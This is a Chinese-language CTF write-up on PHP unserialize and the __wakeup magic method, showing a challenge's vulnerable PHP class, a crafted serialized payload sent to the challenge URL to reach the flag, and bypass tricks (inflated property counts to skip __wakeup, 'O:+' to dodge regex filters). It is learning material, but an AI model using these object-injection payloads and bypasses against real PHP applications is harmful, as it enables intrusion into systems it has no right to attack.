unserialize函数和__wakeup魔术方法

之前做过unserialize的题,当时看了wp,做是做出来来了,但是没有看懂这到底是什么东东,这次再次碰见了,认真的搜索了一下原理

什么是serialize?

PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是 8 位的字符)计算的,因此,更合适的说法是 PHP 序列化后的内容是字节流格式。因此用其他语言实现时,如果所实现的语言中的字符串不是字节储存格式,而是 Unicode 储存格式的话,序列化后的内容不适合保存为字符串,而应保存为字节流对象或者字节数组,否则在与 PHP 进行数据交换时会产生错误。

上面的话大概理解一下,下面是具体含义

PHP 对不同类型的数据用不同的字母进行标示
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
N 表示的是 NULL,而 b、d、i、s 表示的是四种标量类型,目前其它语言所实现的 PHP 序列化程序基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对 s (字符串)的实现存在问题。
a、O 属于最常用的复合类型

题目:http://39.105.140.214:20025/


error_reporting(0);
show_source(__FILE__);//高亮文件中的代码
class create{
     
    var $name='ctfer';
    var $age;
    var $flag;
    function __wakeup(){
     
        $user->name=$this->name;
        $user->age=$this->age;
        $user->flag=$this->flag;
        $this->drive();
        $this->getflag();
    }

    function getflag(){
     
        if ($this->flag=='xcitc') {
     
            include_once "./f1ag.php";
            var_dump($f1ag);
        }else {
     
            echo 'Your car turned over.';
        }
    }

    function drive(){
     
        if ($this->age<18) {
     
            exit("FBI warning!!"."
"
); } } } $arg=$_GET['arg']; if (strlen($arg)<60) { unserialize($arg); }else{ echo "???"; } ?>

在没有任何操作之前

$a=new create;
echo serialize($a)."\n";

输出:O:6:“create”:3:{s:4:“name”;s:5:“ctfer”;s:3:“age”;N;s:4:“flag”;N;}//NULL 被序列化为:N

构造payload:
?arg=O:6:“create”:2:{s:3:“age”;i:20;s:4:“flag”;s:5:“xcitc”;}

我踩过的坑

  1. 序列化之后的结果有长度限制,先开始我把name也带上了,结果超长了
  2. age的值是20,但是先开始我表示为i:2:20,结果是直接i:20就行,也不用加引号

__wakeup这个魔术方法

在之前攻防世界那一题,情况复杂一些
__(两下划线),表示魔术变量

  • 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,上面这题不用绕过
  • 正则匹配可以用+号来进行绕过。 O:4:“Demo”:1:{s:10:" Demo
    file";s:8:“fl4g.php”;}改为O:+4:

参考:https://www.cnblogs.com/wayne173/p/3747465.html

你可能感兴趣的:(XCITC平台)